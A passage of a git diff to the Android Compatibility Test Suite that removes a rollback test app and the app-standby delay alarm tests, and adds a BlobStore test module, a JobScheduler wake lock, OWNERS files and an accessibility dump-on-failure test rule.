-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.rollback.lib.testapp.A"
-    android:versionCode="2"
-    android:versionName="2.0" >
-
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="Rollback Test App A2">
-        <activity android:name="com.android.cts.rollback.lib.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/libs/rollback/testapp/res_v1/values/values.xml b/libs/rollback/testapp/res_v1/values/values.xml
deleted file mode 100644
index 8e71917..0000000
--- a/libs/rollback/testapp/res_v1/values/values.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources>
-    <integer name="app_version">1</integer>
-</resources>
diff --git a/libs/rollback/testapp/res_v2/values/values.xml b/libs/rollback/testapp/res_v2/values/values.xml
deleted file mode 100644
index dac8dd6..0000000
--- a/libs/rollback/testapp/res_v2/values/values.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources>
-    <integer name="app_version">2</integer>
-</resources>
diff --git a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java b/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
deleted file mode 100644
index e426382..0000000
--- a/libs/rollback/testapp/src/com/android/cts/rollback/lib/testapp/MainActivity.java
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib.testapp;
-
-import android.app.Activity;
-
-/**
- * A test app for testing apk rollback support.
- */
-public class MainActivity extends Activity {
-}
diff --git a/libs/runner/Android.bp b/libs/runner/Android.bp
index 425c593..40977ff 100644
--- a/libs/runner/Android.bp
+++ b/libs/runner/Android.bp
@@ -12,16 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-// The legacy library that brings in android-support-test transitively
-java_library {
-    name: "ctstestrunner",
-
-    static_libs: ["cts-test-runner"],
-
-    sdk_version: "current",
-
-}
-
 // The library variant that brings in androidx-test transitively
 java_library {
     name: "ctstestrunner-axt",
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index d7afe11..6b65a6f 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -80,16 +80,7 @@
             "frequent",
             "rare",
     };
-    private static final String[] APP_BUCKET_DELAY_KEYS = {
-            "standby_working_delay",
-            "standby_frequent_delay",
-            "standby_rare_delay",
-    };
-    private static final long[] APP_STANDBY_DELAYS = {
-            5_000,   // Working set
-            10_000,   // Frequent
-            15_000,  // Rare
-    };
+
     private static final long APP_STANDBY_WINDOW = 10_000;
     private static final String[] APP_BUCKET_QUOTA_KEYS = {
             "standby_working_quota",
@@ -111,12 +102,6 @@
         settings.append(MIN_FUTURITY);
         settings.append(",allow_while_idle_short_time=");
         settings.append(ALLOW_WHILE_IDLE_SHORT_TIME);
-        for (int i = 0; i < APP_STANDBY_DELAYS.length; i++) {
-            settings.append(",");
-            settings.append(APP_BUCKET_DELAY_KEYS[i]);
-            settings.append("=");
-            settings.append(APP_STANDBY_DELAYS[i]);
-        }
         settings.append(",app_standby_window=");
         settings.append(APP_STANDBY_WINDOW);
         for (int i = 0; i < APP_STANDBY_QUOTAS.length; i++) {
@@ -166,7 +151,7 @@
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mAlarmScheduler = new ComponentName(TEST_APP_PACKAGE, TEST_APP_RECEIVER);
         mAlarmCount = new AtomicInteger(0);
-        updateAlarmManagerConstants(true);
+        updateAlarmManagerConstants();
         setBatteryCharging(false);
         final IntentFilter intentFilter = new IntentFilter();
         intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
@@ -194,132 +179,6 @@
         mContext.sendBroadcast(setAlarmClockIntent);
     }
 
-
-    private void testBucketDelay(int bucketIndex) throws Exception {
-        setAppStandbyBucket("active");
-        final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(firstTrigger, false, 0);
-        Thread.sleep(MIN_FUTURITY);
-        assertTrue("Alarm did not fire when app in active", waitForAlarm());
-
-        setAppStandbyBucket(APP_BUCKET_TAGS[bucketIndex]);
-        final long nextTriggerTime = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        final long minTriggerTime = sAlarmHistory.getLast(1) + APP_STANDBY_DELAYS[bucketIndex];
-        scheduleAlarm(nextTriggerTime, false, 0);
-        Thread.sleep(MIN_FUTURITY);
-        if (nextTriggerTime + DEFAULT_WAIT < minTriggerTime) {
-            assertFalse("Alarm went off before " + APP_BUCKET_TAGS[bucketIndex] + " delay",
-                    waitForAlarm());
-        }
-        Thread.sleep(minTriggerTime - SystemClock.elapsedRealtime());
-        assertTrue("Deferred alarm did not go off after " + APP_BUCKET_TAGS[bucketIndex] + " delay",
-                waitForAlarm());
-    }
-
-    @Test
-    public void testActiveDelay() throws Exception {
-        updateAlarmManagerConstants(false);
-        setAppStandbyBucket("active");
-        long nextTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        for (int i = 0; i < 3; i++) {
-            scheduleAlarm(nextTrigger, false, 0);
-            Thread.sleep(MIN_FUTURITY);
-            assertTrue("Alarm not received as expected when app is in active", waitForAlarm());
-            nextTrigger += MIN_FUTURITY;
-        }
-    }
-
-    @Test
-    public void testWorkingSetDelay() throws Exception {
-        updateAlarmManagerConstants(false);
-        testBucketDelay(WORKING_INDEX);
-    }
-
-    @Test
-    public void testFrequentDelay() throws Exception {
-        updateAlarmManagerConstants(false);
-        testBucketDelay(FREQUENT_INDEX);
-    }
-
-    @Test
-    public void testRareDelay() throws Exception {
-        updateAlarmManagerConstants(false);
-        testBucketDelay(RARE_INDEX);
-    }
-
-    @Test
-    public void testNeverDelay() throws Exception {
-        updateAlarmManagerConstants(false);
-        setAppStandbyBucket("active");
-        final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(firstTrigger, false, 0);
-        Thread.sleep(MIN_FUTURITY);
-        assertTrue("Alarm did not fire when app in active", waitForAlarm());
-
-        setAppStandbyBucket("never");
-        final long expectedTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(expectedTrigger, true, 0);
-        Thread.sleep(10_000);
-        assertFalse("Alarm received when app was in never bucket", waitForAlarm());
-    }
-
-    @Test
-    public void testBucketUpgradeToSmallerDelay() throws Exception {
-        updateAlarmManagerConstants(false);
-        setAppStandbyBucket("active");
-        final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(firstTrigger, false, 0);
-        Thread.sleep(MIN_FUTURITY);
-        assertTrue("Alarm did not fire when app in active", waitForAlarm());
-
-        setAppStandbyBucket(APP_BUCKET_TAGS[FREQUENT_INDEX]);
-        final long triggerTime = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        final long workingSetExpectedTrigger = sAlarmHistory.getLast(1)
-                + APP_STANDBY_DELAYS[WORKING_INDEX];
-        scheduleAlarm(triggerTime, false, 0);
-        Thread.sleep(workingSetExpectedTrigger - SystemClock.elapsedRealtime());
-        assertFalse("The alarm went off before frequent delay", waitForAlarm());
-        setAppStandbyBucket(APP_BUCKET_TAGS[WORKING_INDEX]);
-        assertTrue("The alarm did not go off when app bucket upgraded to working_set",
-                waitForAlarm());
-    }
-
-    /**
-     * This is different to {@link #testBucketUpgradeToSmallerDelay()} in the sense that the bucket
-     * upgrade shifts eligibility to a point earlier than when the alarm is scheduled for.
-     * The alarm must then go off as soon as possible - at either the scheduled time or the bucket
-     * change, whichever happened later.
-     */
-    @Test
-    public void testBucketUpgradeToNoDelay() throws Exception {
-        updateAlarmManagerConstants(false);
-
-        setAppStandbyBucket("active");
-        final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
-        scheduleAlarm(firstTrigger, false, 0);
-        Thread.sleep(MIN_FUTURITY);
-        assertTrue("Alarm did not fire when app in active", waitForAlarm());
-
-        setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
-        final long triggerTime1 = sAlarmHistory.getLast(1) + APP_STANDBY_DELAYS[FREQUENT_INDEX];
-        scheduleAlarm(triggerTime1, false, 0);
-        Thread.sleep(triggerTime1 - SystemClock.elapsedRealtime());
-        assertFalse("The alarm went off after frequent delay when app in rare bucket",
-                waitForAlarm());
-        setAppStandbyBucket(APP_BUCKET_TAGS[WORKING_INDEX]);
-        assertTrue("The alarm did not go off when app bucket upgraded to working_set",
-                waitForAlarm());
-
-        // Once more
-        setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
-        final long triggerTime2 = sAlarmHistory.getLast(1) + APP_STANDBY_DELAYS[FREQUENT_INDEX];
-        scheduleAlarm(triggerTime2, false, 0);
-        setAppStandbyBucket("active");
-        Thread.sleep(triggerTime2 - SystemClock.elapsedRealtime());
-        assertTrue("The alarm did not go off as scheduled when the app was in active",
-                waitForAlarm());
-    }
-
     public void testSimpleQuotaDeferral(int bucketIndex) throws Exception {
         setAppStandbyBucket(APP_BUCKET_TAGS[bucketIndex]);
         final int quota = APP_STANDBY_QUOTAS[bucketIndex];
@@ -398,31 +257,33 @@
 
     @Test
     public void testAllowWhileIdleAlarms() throws Exception {
-        updateAlarmManagerConstants(false);
+        updateAlarmManagerConstants();
         setAppStandbyBucket("active");
         final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
         scheduleAlarm(firstTrigger, true, 0);
         Thread.sleep(MIN_FUTURITY);
         assertTrue("first allow_while_idle alarm did not go off as scheduled", waitForAlarm());
-        scheduleAlarm(sAlarmHistory.getLast(1) + 7_000, true, 0);
+        long lastTriggerTime = sAlarmHistory.getLast(1);
+        scheduleAlarm(lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME / 3, true, 0);
         // First check for the case where allow_while_idle delay should supersede app standby
         setAppStandbyBucket(APP_BUCKET_TAGS[WORKING_INDEX]);
-        Thread.sleep(APP_STANDBY_DELAYS[WORKING_INDEX]);
+        Thread.sleep(ALLOW_WHILE_IDLE_SHORT_TIME / 2);
         assertFalse("allow_while_idle alarm went off before short time", waitForAlarm());
-        long expectedTriggerTime = sAlarmHistory.getLast(1) + ALLOW_WHILE_IDLE_SHORT_TIME;
+        long expectedTriggerTime = lastTriggerTime + ALLOW_WHILE_IDLE_SHORT_TIME;
         Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
         assertTrue("allow_while_idle alarm did not go off after short time", waitForAlarm());
 
         // Now the other case, app standby delay supersedes the allow_while_idle delay
-        scheduleAlarm(sAlarmHistory.getLast(1) + 7_000, true, 0);
+        lastTriggerTime = sAlarmHistory.getLast(1);
+        scheduleAlarm(lastTriggerTime + APP_STANDBY_WINDOW / 10, true, 0);
         setAppStandbyBucket(APP_BUCKET_TAGS[RARE_INDEX]);
-        Thread.sleep(ALLOW_WHILE_IDLE_SHORT_TIME);
-        assertFalse("allow_while_idle alarm went off before " + APP_STANDBY_DELAYS[RARE_INDEX]
+        Thread.sleep(APP_STANDBY_WINDOW / 20);
+        assertFalse("allow_while_idle alarm went off before " + APP_STANDBY_WINDOW
                 + "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
-        expectedTriggerTime = sAlarmHistory.getLast(1) + APP_STANDBY_DELAYS[RARE_INDEX];
+        expectedTriggerTime = lastTriggerTime + APP_STANDBY_WINDOW;
         Thread.sleep(expectedTriggerTime - SystemClock.elapsedRealtime());
         assertTrue("allow_while_idle alarm did not go off even after "
-                + APP_STANDBY_DELAYS[RARE_INDEX]
+                + APP_STANDBY_WINDOW
                 + "ms, when in bucket " + APP_BUCKET_TAGS[RARE_INDEX], waitForAlarm());
     }
 
@@ -457,12 +318,9 @@
         }
     }
 
-    private void updateAlarmManagerConstants(boolean enableQuota) throws IOException {
+    private void updateAlarmManagerConstants() throws IOException {
         final StringBuffer cmd = new StringBuffer("settings put global alarm_manager_constants ");
         cmd.append(COMMON_SETTINGS);
-        if (!enableQuota) {
-            cmd.append(",app_standby_quotas_enabled=false");
-        }
         executeAndLog(cmd.toString());
     }
 
diff --git a/tests/BlobStore/Android.bp b/tests/BlobStore/Android.bp
new file mode 100644
index 0000000..703931d
--- /dev/null
+++ b/tests/BlobStore/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsBlobStoreTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    platform_apis: true,
+}
\ No newline at end of file
diff --git a/tests/BlobStore/AndroidManifest.xml b/tests/BlobStore/AndroidManifest.xml
new file mode 100644
index 0000000..8ffebfa
--- /dev/null
+++ b/tests/BlobStore/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.blob" >
+
+    <application android:label="CtsBlobStoreTestCases">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.blob"
+                     android:label="CtsBlobStoreTestCases"/>
+</manifest>
\ No newline at end of file
diff --git a/tests/BlobStore/AndroidTest.xml b/tests/BlobStore/AndroidTest.xml
new file mode 100644
index 0000000..7b7d150
--- /dev/null
+++ b/tests/BlobStore/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS BlobStore test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsBlobStoreTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.cts.blob" />
+    </test>
+</configuration>
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
new file mode 100644
index 0000000..dd7670a
--- /dev/null
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.blob;
+
+import static org.junit.Assert.assertNotNull;
+
+import android.content.Context;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+@RunWith(AndroidJUnit4.class)
+public class BlobStoreManagerTest {
+    @Test
+    public void testGetService() {
+        assertNotNull(InstrumentationRegistry.getInstrumentation().getContext()
+                .getSystemService(Context.BLOB_STORE_SERVICE));
+    }
+}
diff --git a/tests/DropBoxManager/AndroidTest.xml b/tests/DropBoxManager/AndroidTest.xml
index b1d45c9..2f595a6 100644
--- a/tests/DropBoxManager/AndroidTest.xml
+++ b/tests/DropBoxManager/AndroidTest.xml
@@ -17,8 +17,9 @@
 <configuration description="Config for CTS Drop Box Manager test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <!-- Switch to system user before running this module since some tests only works for user 0 -->
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system" />
diff --git a/tests/DropBoxManager/OWNERS b/tests/DropBoxManager/OWNERS
new file mode 100644
index 0000000..1a5b740
--- /dev/null
+++ b/tests/DropBoxManager/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+mwachens@google.com
diff --git a/tests/JobScheduler/AndroidManifest.xml b/tests/JobScheduler/AndroidManifest.xml
index 4bd5208..d470f62 100755
--- a/tests/JobScheduler/AndroidManifest.xml
+++ b/tests/JobScheduler/AndroidManifest.xml
@@ -24,6 +24,7 @@
     <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
diff --git a/tests/JobScheduler/OWNERS b/tests/JobScheduler/OWNERS
new file mode 100644
index 0000000..ef7929f
--- /dev/null
+++ b/tests/JobScheduler/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 330738
+ctate@google.com
\ No newline at end of file
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
index 67d147e..11bb6f1 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/DeviceStatesTest.java
@@ -18,7 +18,9 @@
 
 import android.annotation.TargetApi;
 import android.app.job.JobInfo;
+import android.content.Context;
 import android.content.pm.PackageManager;
+import android.os.PowerManager;
 import android.os.SystemClock;
 import android.support.test.uiautomator.UiDevice;
 
@@ -31,7 +33,9 @@
 public class DeviceStatesTest extends ConstraintTest {
     /** Unique identifier for the job scheduled by this suite of tests. */
     public static final int STATE_JOB_ID = DeviceStatesTest.class.hashCode();
+    private static final String TAG = "DeviceStatesTest";
 
+    private PowerManager.WakeLock mWakeLock;
     private JobInfo.Builder mBuilder;
     private UiDevice mUiDevice;
 
@@ -40,6 +44,9 @@
         super.setUp();
         mBuilder = new JobInfo.Builder(STATE_JOB_ID, kJobServiceComponent);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+        mWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, TAG);
+        mWakeLock.acquire();
     }
 
     @Override
@@ -47,6 +54,9 @@
         mJobScheduler.cancel(STATE_JOB_ID);
         // Put device back in to normal operation.
         toggleScreenOn(true /* screen on */);
+        if (mWakeLock != null && mWakeLock.isHeld()) {
+            mWakeLock.release();
+        }
     }
 
     void assertJobReady() throws Exception {
diff --git a/tests/JobSchedulerSharedUid/OWNERS b/tests/JobSchedulerSharedUid/OWNERS
new file mode 100644
index 0000000..ef7929f
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 330738
+ctate@google.com
\ No newline at end of file
diff --git a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
index 8e79f23..da6d112 100644
--- a/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
+++ b/tests/JobSchedulerSharedUid/src/android/jobscheduler/cts/shareduidtests/EnqueueJobWorkTest.java
@@ -186,6 +186,39 @@
     }
 
     /**
+     * Test that continuing to enqueue work after changing the job's constraints
+     * properly retains any already-enqueued work.
+     */
+    public void testEnqueuedWorkNewConstraints() throws Exception {
+        Intent work1 = new Intent("work1");
+        Intent work2 = new Intent("work2");
+        TestWorkItem[] work = new TestWorkItem[] {
+                new TestWorkItem(work1),
+                new TestWorkItem(work2)
+        };
+
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWork(work);
+
+        // enqueue work under one set of constraints
+        JobInfo ji = new JobInfo.Builder(ENQUEUE_WORK_JOB_ID, kJobServiceComponent)
+                .setMinimumLatency(5000L)
+                .build();
+        mJobScheduler.enqueue(ji, new JobWorkItem(work1));
+
+        // now enqueue more work and also change the job's constraints
+        ji = new JobInfo.Builder(ENQUEUE_WORK_JOB_ID, kJobServiceComponent)
+                .setOverrideDeadline(0)
+                .build();
+        mJobScheduler.enqueue(ji, new JobWorkItem(work2));
+
+        kTestEnvironment.readyToWork();
+        assertTrue("Job with work enqueued did not start",
+                kTestEnvironment.awaitExecution());
+        compareWork(work, kTestEnvironment.getLastReceivedWork());
+    }
+
+    /**
      * Test basic enqueueing batches of work that will be executed in parallel.
      */
     public void testEnqueueParallel2Work() throws Exception {
diff --git a/tests/acceleration/AndroidTest.xml b/tests/acceleration/AndroidTest.xml
index b066dc1..65fc952 100644
--- a/tests/acceleration/AndroidTest.xml
+++ b/tests/acceleration/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAccelerationTestCases.apk" />
diff --git a/tests/acceleration/OWNERS b/tests/acceleration/OWNERS
new file mode 100644
index 0000000..3d2576a
--- /dev/null
+++ b/tests/acceleration/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 32850
+include platform/frameworks/base:/libs/hwui/OWNERS
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index f07494f..d4cea0f 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -21,9 +21,11 @@
           android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
 
-    <application android:theme="@android:style/Theme.Holo.NoActionBar" >
+    <application android:theme="@android:style/Theme.Holo.NoActionBar"
+            android:requestLegacyExternalStorage="true">
         <uses-library android:name="android.test.runner"/>
         <service android:name=".SpeakingAccessibilityService"
                  android:label="@string/title_speaking_accessibility_service"
diff --git a/tests/accessibility/AndroidTest.xml b/tests/accessibility/AndroidTest.xml
index 7783a25..6fe3f3b 100644
--- a/tests/accessibility/AndroidTest.xml
+++ b/tests/accessibility/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
@@ -30,4 +31,8 @@
         <option name="package" value="android.view.accessibility.cts" />
         <option name="runtime-hint" value="8m"/>
     </test>
+    <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+        <option name="directory-keys" value="/sdcard/android.view.accessibility.cts" />
+        <option name="collect-on-run-ended-only" value="true" />
+    </metrics_collector>
 </configuration>
diff --git a/tests/accessibility/OWNERS b/tests/accessibility/OWNERS
index d225f2c..e54f581 100644
--- a/tests/accessibility/OWNERS
+++ b/tests/accessibility/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 44214
-pweaver@google.com
\ No newline at end of file
+pweaver@google.com
+rhedjao@google.com
diff --git a/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumpOnFailureRule.java b/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumpOnFailureRule.java
new file mode 100644
index 0000000..df7c550
--- /dev/null
+++ b/tests/accessibility/common/src/android/accessibility/cts/common/AccessibilityDumpOnFailureRule.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.accessibility.cts.common;
+
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.rules.ExternalResource;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestWatcher;
+import org.junit.runner.Description;
+
+/**
+ * Custom {@code TestRule} that dump accessibility related data upon test failures.
+ *
+ * <p>Note: when using other {@code TestRule}s, make sure to use a {@link RuleChain} to ensure it
+ * is applied outside of other rules that can fail a test (otherwise this rule may not know that the
+ * test failed). If using with {@link ExternalResource}-like {@code TestRule}s, {@link
+ * ActivityTestRule} or {@link InstrumentedAccessibilityService}, this rule should chaining as a
+ * inner rule to resources-like rules so that it will dump data before resources are cleaned up.
+ *
+ * <p>To capture the output of this rule, add the following to AndroidTest.xml:
+ * <pre>
+ *  <!-- Collect output of AccessibilityDumpOnFailureRule. -->
+ *  <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+ *    <option name="directory-keys" value="/sdcard/<test.package.name>" />
+ *    <option name="collect-on-run-ended-only" value="true" />
+ *  </metrics_collector>
+ * </pre>
+ * <p>And disable external storage isolation:
+ * <pre>
+ *  <application ... android:requestLegacyExternalStorage="true" ... >
+ * </pre>
+ */
+public class AccessibilityDumpOnFailureRule extends TestWatcher {
+
+    public void dump(int flag) {
+        AccessibilityDumper.getInstance().dump(flag);
+    }
+
